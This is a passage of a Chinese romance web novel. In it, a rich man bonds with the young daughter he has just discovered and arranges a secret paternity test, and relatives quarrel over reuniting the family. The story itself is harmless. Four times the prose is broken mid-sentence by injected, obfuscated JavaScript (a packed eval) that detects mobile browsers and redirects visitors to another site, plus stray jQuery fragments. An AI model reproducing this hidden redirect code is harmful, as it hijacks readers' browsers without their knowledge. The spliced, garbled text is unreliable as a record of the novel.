“您客气了。”周屿侧了侧头,“以后宋禧和孩子外婆那边,还得您多帮我说说话呢。”钱当然会给,但别想着白拿,他是生意人,不是慈善家。 “安之外婆早就希望你们复婚咯!她那边根本不用劝。主要是宋禧,这姑娘太犟,做她思想工作,怕是需要点时间。”为了最后皆大欢喜的结局,宋永红决定,拼了老命也要把宋禧劝回头。 “不急。”周屿气定神闲。就算宋禧想跟他耗一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443990|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子,他也奉陪到底。 宋禧恨他,他就不恨宋禧?要不是这次回来偶然碰见,兴许这辈子他都不知道自己有个女儿。 要说恨,他对宋禧的感情,又不单单只是恨。 这感情复杂得像一锅由无数食材混在一起的大乱炖。说爱说恨都太笼统,再怎么仔细品尝,也无法精准罗列出所有滋味,以及每种滋味的具体占比。 程扬开车送宋永红回去,周屿抱着孩子站在路边,问她接下来想去哪儿。 “新安商场里有个超大的儿童乐园,叔叔带我去那里玩好吗?”宋安之眼里充满期待。 “没问题,不过,叔叔想先带你去检查一下身体。” “为什么呀?” “就是简单检查一下,得薅几根你的头发。” “啊?可是我有点怕……外婆给我扎头发喜欢扎很紧,把我头皮扯得好痛哦,薅头发会像外婆扎头发那么痛吗?” “会稍微有点疼,但很快就好。”周屿摸摸孩子脑袋,“今天谁给你编的头发?” “珍珍小姨,她很喜欢给我做发型,不过没什么耐心,弄几下就随便搞了。这个叫公主头,但是我觉得她没编好……”宋安之抓起一缕头发缠在手指上绕啊绕,“其实也不能怪她,二姨婆说中午能跟你一起吃饭,我太高兴了,急着出门,一直催她搞快点。” 周屿忍俊不禁。今天这头发编得确实比较潦草,得亏他闺女底子好,糟糕的发型并不能拉低颜值半分。 宋安之不知道什么叫亲子鉴定。离开鉴定中心,周屿告诉她,体检这事是他俩之间的秘密,暂时不能告诉她妈妈。宋安之问缘由,周屿用那双深邃眼眸看着她,恳请道:“答应叔叔,好吗?” 宋安之想了一会儿,眨眨那双与他极为相似的漂亮眼睛,点头:“好!” “安之。”他把孩子的头按进自己胸口,仰脸望天,深长呼吸,“你想爸爸吗?” 安之在他怀里摇头,“我都不知道爸爸在哪!” “那你想他吗?” “想……但是不能告诉妈妈,你得替我保密。” “成。” 孩子好一会儿不作声,周屿问:“安之,想什么呢?” 她奶呼呼答:“想爸爸。” “你希望爸爸是个什么样的人?”周屿喉咙发堵,咬咬牙,忍住了亲吻孩子的冲动。 “希望爸爸很爱很爱我,很爱很爱妈妈!可是……我都这么大了,从来没见过爸爸,叔叔,我爸爸会不会——”宋安之吸吸鼻子,奶音发颤,“会不会已经死了?” 周屿笑笑:“不会。” 宋安之:“那他为什么一直不来看我和妈妈?” 周屿:“他会来的。” “什么时候呢?我都四岁半了,该不会十四岁他才来吧?十四岁不来的话,二十四岁能来吗?”宋安之抬起头,眨眨眼,小手轻轻触碰他眼皮,“叔叔,你眼睛好红!” 11.第 11 章 “是么?可能叔叔眼睛进沙子了。”周屿说。 “我来帮你吹吹!”宋安之两指撑开他左眼皮,轻轻吹了吹,再去吹右边,“还难受吗?” 周屿摇头。 “可是你眼睛还是好红哦……” “没关系,过会儿就好了。”他唇角上扬,“安之真贴心。”要不怎么都说女儿是小棉袄呢?现在总算体会到了。 “实在不行就去药店买瓶眼药水吧,有时候妈妈眼睛不舒服,滴一点眼药水就好了。”宋安之还是担心。 “真不用,谢谢安之。走,咱们去商场。” 打车来到新安商场门口,下车后,周屿抱着孩子往里走。 宋安之依旧体贴:“叔叔,你放我下来吧,我可以自己走,总抱着我会很累的。” 周屿可舍不得撒手:“小丫头,知道自己多轻么?这点儿重量对叔叔来说太轻松了。”当年抱你妈妈都轻而易举,周屿心想。 儿童乐园在三楼,乘扶梯上到二楼,宋安之指着扶梯口斜对面那家女装店喊:“叔叔快看!我妈妈以前就是在那里卖衣服!” 周屿望过去:“她什么时候去的京州?” 宋安之:“我满两岁她就带我过去了。” 周屿:“你两岁之前,她一直在这卖衣服?” “嗯,我以前太小,很多事都记不太清了,是舅公他们告诉我的。”扶梯缓慢上升,宋安之手往下指,“我只记得小时候在店里陪妈妈上班,有一次自己跑出去玩,妈妈和一个阿姨到处找我,广播也在喊我名字。” 周屿心里发紧:“后来怎么找着的?” 到了三楼,宋安之指着距离扶梯不远处一家小小的店面:“哈哈,我在这里看糖葫芦!” “小馋猫。”周屿捏捏她鼻尖,“妈妈有没有骂你?” 宋安之摇头:“妈妈才舍不得骂我呢,她抱着我哭,给我买了一串糖葫芦,说以后想吃什么直接告诉她,她给我买,但是绝对不能自己跑出去。” 周屿的脚步停在糖葫芦店门口。 “那天妈妈给我买了串草莓糖葫芦。”宋安之眼巴巴看着柜面展示的各种糖葫芦,“草莓很好吃,不过我还没尝过青提、葡萄、水蜜桃这些口味呢!”她冲周屿笑起来,渴望全写在清澈眸子里。 周屿哪禁得住这架势,心里软得一塌糊涂,恨不得每种口味都给买下,最后还是被理智控制住了。 “糖吃多了不健康,而且容易长蛀牙,安之今天就吃青提的,其他以后挨个尝,行么?”他在心里祈求孩子别撒娇,这丫头撒起娇来,他可招架不住。 所幸宋安之懂事,乖乖应下:“好呀,吃一串就够啦,妈妈也说要爱护牙齿。” 店员是个中年妇女,目光在周屿和孩子脸上来回扫,青提糖葫芦递过去,笑着夸道:“你姑娘好像你哦,太漂亮了!” “谢谢阿姨,”宋安之接过糖葫芦,“不过你搞错啦,他不是我爸爸,是我叔叔。” 他俩这么相像,店员以为孩子口中的“叔叔”是指亲叔叔:“这样啊,你叔叔都这么帅,爸爸肯定也好帅。” 周屿笑而不语,结完账,放下孩子:“安之吃东西时自己走,当心竹签。” 这个孩子口中很大的儿童乐园,其实也没多大。周屿和其他家长一样,坐在外面等着。宋安之让他进来陪自己一起玩,可他心里实在是乱,想静一静,便以“有点累”为理由,让她先自己玩会儿,宋安之善解人意地点点头,跑进波波池,和几个跟她年龄差不了多少的小朋友打成一片。 周屿就这样静静看着宋安之发挥她高超的社交能力。她很爱笑,笑容富有感染力——这点随宋禧。坦白讲,按周屿的审美来看,宋禧并不属于第一眼美女。方圆脸上五官不算多精致,但也挺清秀。周屿觉得这张脸上最好看的地方是眼睛,可惜高度近视,厚厚的镜片遮住了漂亮杏眼。 宋禧笑起来有种清纯甜美的少女感,不过周屿认识她那会儿,她还很年轻,所以他不确定这种少女感是天生自带,还是源于青春正当年。 他从不承认自己喜欢看宋禧笑,但宋禧发现,只要她一笑,他就会莫名其妙跟着笑,于是有一天,宋禧问他:“周屿,你是不是爱上我了?” 他愣住,随即仰头,重重拍一下脑门,半张着嘴轻哼,然后低头看她,不可思议:“我到底做了什么举动,让你产生这种误会?” 宋禧夸张大叫:“我一笑你就跟着笑!” 相比而言,他淡定多了,认真解释:“因为你真的很好笑。” “切,”宋禧翻起白眼,“难道不是因为我笑起来很好看?” “拉倒。”周屿的心怦怦跳。 孩子虽然长得像他,咧嘴大笑时,唇边两个梨涡都原样复刻,但笑起来那股子俏皮可爱劲儿,明显随她妈妈。 一起玩的某个小伙伴跑去休息处吃烤肠,宋安之来找周屿,说口渴,周屿在收银台买了瓶水,她伸手接水,眼睛却望着正美美吃着烤肠的新朋友。 “安之也想吃那个?”周屿一眼看穿。 宋安之有些不好意思,笑着点点头。 “可是——”周屿觉得这玩意不健康,转念又想,糖葫芦都给她吃了,健不健康的,今天先放一边吧,“行,要原味还是黑胡椒味?” “原味就好啦,谢谢叔叔!” 周屿变得自己都觉得自己陌生。太娇惯孩子也不好,他想。理智和情感在较量,随即快速败下阵来,他不仅买了烤肠,还买了一罐旺仔牛奶。 这个意外惊喜让宋安之高兴得手舞足蹈。“叔叔,你对我太好了,我给你表演个节目吧!”没等周屿表态,她就开始又唱又跳,“‘今天开始我要自己上厕所,爸爸妈妈你们不要小看我……’” 周屿不知道这首歌叫《我会上厕所》,见孩子一手拿着烤肠,一手拿着饮料,一边晃动身子,脸上笑意越来越深,听到那句“上厕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445212|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所时不能吃东西”,他乐疯了,笑得肩膀不住地抖动。 “叔叔,你喜欢这个节目吗?”小家伙表演完,仰着脸蛋问。 “非常好看。”苍天为证,他很久都没这么开心过了,“安之唱歌跳舞很有天赋,以后想不想学这些?” “想!超级超级想!”烤肠太烫,宋安之碰碰便挪开嘴,喝一口饮料,“妈妈说,等她再攒点钱,就给我报声乐班和舞蹈班,我现在都是跟着小视频学。” 周屿心口有点堵,问:“你是不是跟着小视频学了很多东西?” “对呀,学会好多儿歌和舞蹈呢。”宋安之咕咚咕咚灌下几口饮料,“以后我慢慢给你表演。” “那可真是我的荣幸。”周屿笑笑,心里稍微好受些。他很乐意当孩子的观众,心甘情愿给她当一辈子观众。他脑海里冒出一个场景:白发苍苍的自己看着早已成年,亭亭玉立的女儿表演节目,干枯的手掌为她打节拍,粗哑的嗓音为她喝彩……他知道这个想象过于刻板,并且十分矫情,但他对这一天的到来充满期待。 下午五点,宋安之已经玩得浑身汗涔涔,周屿想带她去吃饭,她说不饿,还想再玩会儿,周屿目前为止暂未找到能强硬果断拒绝她的方式——主要是过不了心里那关,看着孩子的脸,尤其是那双眼睛,他就没法说出一个“不”字。他拿出手机,点开计时器,“再玩儿十分钟咱们就去吃饭,成么?”温柔的语气中甚至带了点卑微的祈求。 “成!”宋安之点头。 “哟,这句听起来还有点儿京腔。”周屿笑笑,“你们幼儿园京州孩子多吗?” “不怎么多,我们班同学的爸爸妈妈很多都是外地来京州工作的,跟我妈妈一样。但是也有京州同学,他们都挺好,只有一个特别、特别、特——别——讨!厌!”宋安之皱起小脸,看样子气得不行。 “怎么讨厌?” “他骂我们是臭外地的!” 周屿不厚道地笑了,抬手一挥:“甭搭理他。” “昨天妈妈说开学我就要换幼儿园,因为我们搬家啦,晚上连视频,她给我看了新家,很不错呢!”宋安之握住他的手,轻轻晃了晃,“我们才不是臭外地的,我们每天都洗澡,香香的!” “对,才不是呢。”周屿握紧她的手,几秒后松开,摸摸她脑袋,“玩儿去吧。” 十分钟后,宋安之听话地跟着周屿离开儿童乐园。 对于晚餐的选择,周屿生怕她提出想吃肯德基之类的东西,决定先发制人,满脸堆笑,抢在她前头问:“咱们去吃西餐,好吗?”至少牛排不会裹着面粉油炸。他自己吃东西倒是不讲究,只是看不得孩子总吃垃圾食品。 “西餐有什么呀?”宋安之问。 周屿做了些简单的科普,她欣然同意:“牛排我吃过,妈妈给我煎过,很好吃的。” “你妈妈还会煎牛排啊?这么厉害。”以前这人煎个鸡蛋都费劲,周屿暗笑。 12.第 12 章 安之出生前,宋禧的厨艺一直保持在一个令人闻风丧胆的水平,要么甜得发齁,要么咸得发苦,因为她经常把糖和盐搞混。比口味问题更严重的是安全问题,在那段为期将近两年的婚姻里,她总共烧坏了三口不粘锅,周屿实在怕她把厨房给炸了,连哄带求好说歹说,总算让她收手,放弃为爱洗手做汤羹。周屿倒是练出一手好厨艺。 安之满月后,宋禧为了孩子,照着“下厨房”APP里的教程勤学苦练,皇天不负苦心人,技术终于从“炸厨房”变成勉强能入口,再到味道还不错,最后色香味俱全。作为她的专属菜品品鉴师,苏珍珍吃她做的东西,不再眉头紧皱拼命摇头,而是竖起拇指疯狂点头,她就知道,至此,厨艺这一块,自己算是扬眉吐气了。 苏珍珍赞她太伟大,为了孩子能做到这个份上,只有她自己知道,其实也不全是为了孩子,有一部分原因,是她在跟周屿较劲。 他说她八字跟厨房犯冲,她偏要在厨房里拼出一片天地;他劝她放弃化妆这件难事,她偏要一辈子化到底;他求她老老实实在家待着,她偏要排除万难出去赚钱…… 一次失败的婚姻让她彻底明白那句老话:男人靠得住,母猪会上树。 曾经周屿嘴里说出的许多诺言,都让她信以为真过,比如——“以后厨房里的事儿我全权负责,你负责吃就行”;比如——“别化了,我就喜欢你素颜的样子,一辈子看不腻”;再比如——“除了花钱,其他你都甭操心,只管吃喝玩乐去”…… 结果呢?最后这个男人告诉她——“宋禧,咱们分开吧”;“没什么特别原因,我玩儿腻了还不成?”;“我不要你了,宋禧,听明白了吗?老子特么不想要你了”。 她把这些话说给苏珍珍听,苏珍珍连骂好几遍“死渣男”,双手握住她肩头,义愤填膺说:“宋禧,不蒸馒头争口气,一定,一定要好好活下去!虽然经济上我给不了你什么支持,但精神上,我永远是你坚实的后盾!” 其实苏珍珍在经济上也是给过支持的。 宋禧在京州穷到快吃不起饭的那阵子,苏珍珍问她钱够不够花,她说多得很,苏珍珍没信,因为她眼里的泪悬在眼眶,差那么一丁点就滚落出来。那次挂断视频后,苏珍珍给她转了八百块。她哭着发去一个流泪表情包,苏珍珍回复说,这个月稿费赚了九千,自己这边生活费足够,让她别有心理负担,赶紧把钱收下。 周屿不爱她,不要她,爱她要她的人多得是,她擦干泪,用苏珍珍给的钱买了一袋大米扛回来,煮一锅米饭就着霉豆腐吃,别提有多香。 爱情是这个世界上最最多余的东西,这是宋禧离婚后才懂得的道理。 · 周屿带着宋安之去到另一个更大的商场,那里有家西餐厅,他没吃过,看网上评价不错,就选在这家吃晚餐。 菜品口味都一般,但宋安之极为满意,什么都觉得好吃,吃到什么都要冲他竖大拇指。 周屿给她切牛排,她在旁边夸个不停—— “叔叔,你好厉害呀,切得整整齐齐!” “叔叔,你对我真是太好啦,我长大后一定好好回报你!” “叔叔,你怎么这么好呢?” “叔叔,你这么好,怎么会没有女朋友呢?” 周屿乐不可支,抬眼看她,说:“叔叔没功夫谈恋爱。” “你喜欢什么样的女生?”宋安之张开嘴,吃下周屿喂过来的一块牛肉,“我有两个姨姨,大姨在美国,小姨在黔安,她们都特别好!不过大姨已经结婚了,你没希望了。小姨嘛,虽然没结婚,可是她说她这辈子绝对不会结婚,所以你也没希望了。要不,我把你介绍给我妈妈吧?”她眨眨眼,一副“娶我妈可亏不着你”的神情。 周屿又被逗笑:“你总这么给你妈妈介绍男朋友?” 宋安之立马摇头:“才没有!好几个人追我妈妈,她都不答应,那些人我也不太喜欢。但是周叔叔,你不一样,你又高又帅,对我又好,我妈妈肯定会喜欢你的!” 别,别,你妈妈没砍死我就不错了,周屿在心里说。 宋安之忽然意识到一件事,赶紧问:“你认识我晴晴大姨,那你认识我珍珍小姨吗?” 周屿点头:“认识,以前见过,但不是很熟。” “她们两个你都认识,那——”小家伙这才反应过来,“你该不会早就认识我妈妈了吧!” “确实是这样。”周屿扯起唇角。 “你跟我妈妈熟吗?” “就……还行吧。”他难免心虚,怕孩子再问下去。这要是往深里问,他该怎么答呢?撒谎不太好,可真要实话实说,又该从何说起?说他跟她妈妈老早就认识了?说他跟她妈妈不仅认识,还有过一段爱恨交织的感情?说他跟她妈妈不仅结过婚,甚至有一个孩子,而那个孩子就是她?周屿自认不是一个怯懦的人,可现在让他跟孩子说这些,他实在不知道如何开口。 孩子毕竟是孩子,再是聪明,头脑也简单,没看出其中端倪,又问:“周叔叔,你觉得我妈妈怎么样呀?” “她啊?”周屿抱起胳膊,抿抿唇,忽然笑了,“特有意思一人。” “嘿嘿,很可爱对吧?我妈妈有时候超级搞笑,跟她在一起真的很开心。”宋安之用叉子叉起一块牛排喂给他。 周屿愣了愣,笑着吃下。 宋安之这才开口:“要不,你试试追我妈妈?” 周屿呛得咳嗽,拍着胸脯顺气,灌下大半杯水才缓过来。“你就不怕你爸砍我啊?”他真是哭笑不得。 “唉……”宋安之面露哀伤,“你说我爸爸会回来的,可我觉得,这么久都没回来,肯定不会回来了。” “安之。”他和孩子并排而坐,手掌落在她肩上,将她揽入怀抱,“相信我,你爸爸一定会回来。” “还有多久呢?”宋安之仰起脸,眨眨眼,撇着小嘴看他。 “说不准。不过该出现的时候,他会出现的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448224|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周屿只能把话说到这个份上。 宋安之低头,唉声叹气好一会儿,忽地又仰脸瞧他,凑到他耳边小声说:“这样吧,周叔叔,你先追我妈妈,追到了你们就谈恋爱!要是我爸爸回来,妈妈还愿意跟他在一起,你就悄悄走掉,放心,我不会告诉爸爸的!” 周屿这回差点被自己口水呛死。闺女这是纯纯拿他当工具人啊! “那什么,”周屿手拢在唇边,“有没有一种可能——你爸爸或许希望我跟你妈妈在一起?” “啊?他这么伟大的吗!你认识他呀?” “我——”周屿轻轻一推孩子脑袋,“哎!小祖宗,我可真拿你没招!” 宋安之笑起来:“你为什么叫我祖宗啊?” 周屿:“因为我拿你没招啊。” 宋安之:“那我真是你祖宗吗?” 简直倒反天罡!周屿乐够呛,心说:不仅你是,现在我觉着你妈妈也是。你妈妈多牛掰啊,敢跟刚认识没多久的男人结婚,还敢离婚后瞒着前夫生下他的孩子。 “咳,那什么,吃菜,吃菜。”周屿岔开话题,喂她西蓝花,她小眉头紧皱,挪开脑袋躲得老远,周屿长叹一口气,自己吃下这块遭人嫌弃的可怜蔬菜。 吃饱喝足,周屿牵着孩子离开。程扬在商场外等待,见了面,宋安之很有礼貌:“程叔叔晚上好!” “安之晚上好。”程扬温和一笑,拉开后座车门,“公主请上车。” 宋安之喜欢这个玩笑,上了车还咯咯直乐。目前为止,她对自己的真公主身份一无所知。 “咱商量个事儿呗。”周屿在后座依然牵着孩子的手。 “什么呀?” “今天是不是吃了糖葫芦和烤肠,还喝了饮料?” “是!” “那明天能不能只吃正餐,不吃任何零食?” “啊?可是二姨婆给我买的旺仔小小酥我还没吃呢……还有你买的那一大袋零食我也想吃!” 周屿恨不得抽自己大嘴巴子。买点玩具得了,干嘛非得买零食? “以后每天最多只吃一样零食,您看这样成么?”他好商好量地问。 程扬在前面憋笑憋得快炸了,心里回想这语气——“您看这样行么”……哎哟喂,老板什么时候跟谁这么说过话啊! 宋安之犹豫很久,长长叹气,勉为其难答应:“好吧……我知道你是为我好。” 周屿咧嘴:“安之真棒。” 程扬笑出了声。老板在宋安之面前,跟个幼儿园老师似的。 周屿听见前面动静,面子有些挂不住,又不好说什么,只能“啧”一声以示不满,为自己挽尊。 车停在宋永红家小区门口,周屿下车,抱着孩子上楼,将她送进屋,跟宋永红客套几句便离开。 回酒店的路上,周屿叹息,轻轻咳嗽,说:“程扬,等你当爹了,就知道带孩子有多难了。” 这次程扬彻底没绷住,笑得好大声。 13.第 13 章 苏珍珍码完番外最后一行字,仰头长舒一口气,伸了个大大的懒腰,啪地合上笔记本电脑,起身走出卧室,刚来到客厅,外甥女宋安之就冲她飞奔而来。 “小姨小姨,我今天真是太开心啦!”她被苏珍珍抱起转了两圈,哈哈大笑,“你猜下午我去哪了?” “好难猜呀,告诉我好吗?”苏珍珍坐沙发上,把孩子放在自己腿上。 “周叔叔带我去儿童乐园玩,给我买了好吃的,晚上还带我吃西餐呢!”提起周屿,宋安之满脸都是崇拜和喜爱。 “周叔叔?哪个周叔叔?” “就是我跟你说的那个,外婆麻将馆楼下认识的外地叔叔呀。” “啊?”苏珍珍倏地蹙眉,“你自己跟着他出去玩,没有家里人跟着?”她扭头看向母亲。母亲带安之在外面吃午饭,说是跟朋友聚餐,吃完一个人回家,她问安之怎么没回来,母亲说,送去舅公家了。 面对女儿质疑的目光,宋永红并未躲闪,她看一眼女儿,拿起茶几上的平板,点开轻闪,随便找了个儿童舞蹈教学视频,将平板递给宋安之:“乖乖,去小姨房间学这个舞吧,等下跳给二姨婆看好吗?我家乖乖肯定学得很快。” “好!”宋安之接过平板,屁颠屁颠跑去苏珍珍卧室。 宋永红起身走过去将门关上,回来时,在女儿身边坐下,端起杯子喝水,慢悠悠问:“你晓得那个周叔叔是哪个不?” “哪个嘛?”苏珍珍对母亲这种云淡风轻的态度极为不满,拜托,她到底懂不懂自己做错了什么?知不知道孩子这样很危险! 宋永红脑袋凑过去,压低声音:“小周!” 苏珍珍没反应过来:“哪个小周?” “周屿!”宋永红拍拍女儿大腿,“安之遇到的那个对她很好的叔叔,就是周屿!” 苏珍珍刚喝进嘴里的水噗地喷出去。“啊?周——屿?”她难以置信,眉头紧锁,瞪大眼睛盯着母亲。 宋永红一边拿纸巾擦桌,一边按住她肩膀:“哎呀,你不要激动,小声点。” “你是说,下午带安之出去玩的,是她亲爹,周屿?”苏珍珍抬起发颤的胳膊,手指指向自己房门,在空中点啊点,“宋禧前夫,王八蛋周屿?” “啧,咋个讲话的,麻烦礼貌一点好不好!”宋永红撇撇嘴,“人家周屿比你还大,现在不是你妹夫了,按理说你该喊一声周哥。” “周哥?我呸!我喊他狗杂——”苏珍珍没来得及骂完,嘴就被母亲紧紧捂住。 宋永红恨铁不成钢:“你个白胆猪,讲不听是不是?不管你以前对小周有什么偏见,以后千万要对人家放尊重点。” 苏珍珍用力推开母亲,噌地起身:“我凭什么尊重他?他尊重宋禧吗?哦哟,我说咋个这么巧哦,莫名其妙在小姨麻将馆楼下遇到安之,真有这么巧的事?肯定是晓得安之是他姑娘,故意制造偶遇来接近,你们一个个的,都被他骗了!” “没得办法,就是这么巧。”宋永红两手一拍,也站起来,“一开始人家真不晓得,我还扯谎骗他,说安之是向晴家的,人家又不是憨包,咋会相信嘛?再说了,安之和他长得这么像,只要不瞎,都看得出娃儿是哪个的吧?” “就算他是安之爸爸,安之也不是他的,是宋禧的!你让安之跟他吃饭,跟着他出去玩,问过宋禧意见吗?”苏珍珍气得浑身发抖,恨不得摔烂目之所及的所有东西。 宋永红知道自己理亏,依然嘴硬:“你讲话才是好笑,没得小周,宋禧一个人生得出安之?安之是宋禧的,也是小周的,是他们两个的!我不告诉宋禧有我的道理,我这样做,还不都是为你们好?” 苏珍珍冷笑,食指指向自己:“为我们好?你谄媚就谄媚,势利就势利,不要讲得这么冠冕堂皇,好像自己在做慈善一样。不就是看周屿现在发达了,又想跟他攀上亲戚吗?退一万步讲,就算你是为宋禧和安之好,跟我有什么关系,怎么还把我扯进去了?” “咋个跟你没关系!”宋永红用力戳了戳女儿太阳穴,“人家小周给我承诺,支持你和晓辉做生意,本钱他来出。” 苏珍珍愣住片刻,仰起头,冷冷哼笑。 “怪不得哦,怪不得你这么积极让他们父女相认,原来是拿安之做交易。” “鬼姑娘!讲话好难听?小周本来就是安之亲爹,估计人家今天下午就去做亲子鉴定了。安之从小很想她爸爸,我让她和爸爸团圆,莫非还有错啦?”宋永红好不容易忍住巴掌抽过去的冲动,指尖戳上她脑门,“你不谄媚,你不势利,你清高——你连个稳定工作都没有!嘴巴骂人家小周骂得凶,你想没想过,小周能让安之住进好房子,读上好学校?最起码的,唱歌跳舞那些兴趣班,安之想报哪个报哪个,这些现实问题,你这种白胆猪是想不到的!” 苏珍珍后退几步,与母亲隔开距离:“是,周屿是有钱,人家都成首富咯嘛,但是!我们家宋禧现在,也不穷!宋禧靠自己也能让娃儿过上好生活,她跟我说过,再攒几个月钱就能给安之报兴趣班。” “老子看你脑壳遭门夹了!”宋永红血压飙升,扶着额头拍着胸脯,“人家小周每分钟赚的钱不晓得比宋禧每个月那点工资高多少,你自己喜欢过苦日子就自己过,不要耽误宋禧和安之过好日子。” “你觉得只要有钱,过的就是好日子?宋禧跟周屿以前吵得那么凶,证明他们不适合,现在就算复合,也不可能和谐,父母整天吵来吵去,安之就幸福了?” “安之幸不幸福,她自己感觉得到,用不着你来评判。你看她回来好高兴,等下你再问问她跟周叔叔在一起开不开心。人家父女两个相处得多融洽啊,你还反对起来,反对无效!” 苏珍珍气笑了:“就算安之喜欢他,愿意认他这个爹,你就可以绕过宋禧直接安排他们认亲?我看你眼里只有钱,根本不拿宋禧当亲人,你这样做,是在背叛她,背叛!背叛!懂吗?你是宋家的叛徒!” 宋永红夸张地挑高眉毛,嘴巴张得老大,摇头好几下才说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452109|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“哦哟,有没有这么严重哦我请问?背叛都搞出来,不晓得的还以为我是在搞地下党。苏珍珍,你现在骂我,看不起我,不认同我,最主要一个原因就是:你没吃过几天生活的苦。你毕业就回家写小说,最多最多遭我和你爸爸骂一骂,没遭老板骂过吧?没遭同事排挤过吧?你没遭过这些,宋禧就没遭过?你赚得多的时候不说,赚得少了,或者根本不赚钱那几个月,我和你爸爸有没有补贴你生活费?宋禧能像你这样啃老?你搞写作,你了不起,真出去上班,怕是一个月不到就哭哭啼啼滚回来了。麻烦你动脑筋想一想,宋禧跟你情况能一样?你从小有爸爸给你兜底,宋禧有没有?我和你爸爸一直健健康康,你小姨这两年身体总是出问题,小毛病不断,你出钱给她看病?你是你,宋禧是宋禧,你这辈子也就这样了,宋禧不一样,宋禧跟周屿复婚,那是能跨越阶级的。我说白了,就算他两个复婚过不好,最后又离,宋禧分到的钱,够她和安之花几辈子。” 宋永红停下来喝水,看着沉默的女儿,又是一声叹息。 “我承认,促成他们两个和好,我有私心。我希望小周能帮帮你和你哥,我想你们兄妹都走上正轨,像其他年轻人一样,有个正儿八经的工作,早点结婚生子,这是我最大的愿望。但是,就算小周不愿意帮忙,就算小周看不起我们这些穷亲戚,只要他能让宋禧她们母女过上好生活,不要那么累那么苦,我也不会抱怨什么,还是希望他们一家三口越来越好。你外公外婆没怎么管过你小姨,可以说你小姨是我带大的,宋禧是我看着长大的,难道我会害自己亲妹妹,亲外甥女吗?” 苏珍珍哑口无言。母亲这些话,她一时无法反驳,可她依然愤怒,依然悲伤,也依然无奈。 她站在母亲面前,眼泪夺眶而出,哽咽着开口:“我只是觉得,禧禧好可怜……你一点都不尊重她,你该先问问她愿不愿意的……” “那还用问吗?肯定是不愿意。算咯,她要是恨我,我也认。安之一直都好想她爸爸,不管咋个说,反正安之是不会恨我的。”宋永红也红了眼眶,别过脸,吸吸鼻子,抬手抹泪。 “万一周屿要跟宋禧争安之抚养权怎么办?”苏珍珍最怕的就是这个。 “放心,他不会。”宋永红抬手挥了挥。 “你咋晓得他不会?” “他心里头还有宋禧。” “咋可能!”苏珍珍压根不信,“他心里要是有宋禧,当初就不会那么狠,伤她那么深。” 宋永红“嘁”一声,摇头:“难怪你写这么多年都不红,你连爱情都没搞懂,咋写得出好看的爱情小说哟!我劝你趁年轻多谈点恋爱,可能对你写作还能有点帮助。” 苏珍珍被母亲戳中痛处,像是打了败仗,默不作声,垂头丧气。 大人之间的战争暂时停歇,在无人注意的角落里,孩子小小的世界,正在发生巨大震荡。 宋安之脸冲着虚掩的房门,瞪着眼,张着嘴,一动不动,努力消化刚才听到的爆炸性信息。 14.第 14 章 四岁半的宋安之做梦也没想到,一天之内,世界第十一大和第十二大未解之谜,竟然一下子全都解开了—— 她的爸爸就是周叔叔; 她的爸爸现在就在黔安某个酒店里。 起初,宋安之只是听到越来越吵,大人们的嗓门越来越大,她暂停视频跑去门口,耳朵贴在门板上,听不清外头的人在吵什么,只听见一些关键词:“亲爹”、“爸爸”、“宋禧”、“小周”、“安之”…… 宋安之的小心脏立马提起来,偷偷将门打开一条缝,外头的声音清楚许多,很快,她就听明白了两件重要的事:第一,周叔叔叫周屿;第二,周叔叔是她亲爹。 宋安之终于懂了,为什么周叔叔告诉她她的爸爸一定会回来时,语气笃定得好像二姨公说那句“我敢跟你打包票”一样。 太多太多情绪瞬间涌进她小小的心脏里。她好开心——爸爸没有死,爸爸终于回来了;她好幸福——周叔叔竟然就是她爸爸;她好激动——她的爸爸这么高这么帅对她这么好;她好好奇——为什么周叔叔不直接告诉她,自己就是她苦苦等待的爸爸呢;她好难过——爸爸明明还活着,明明就在国内,这么多年过去,现在才来找她,实在是……太!过!分!了!!! 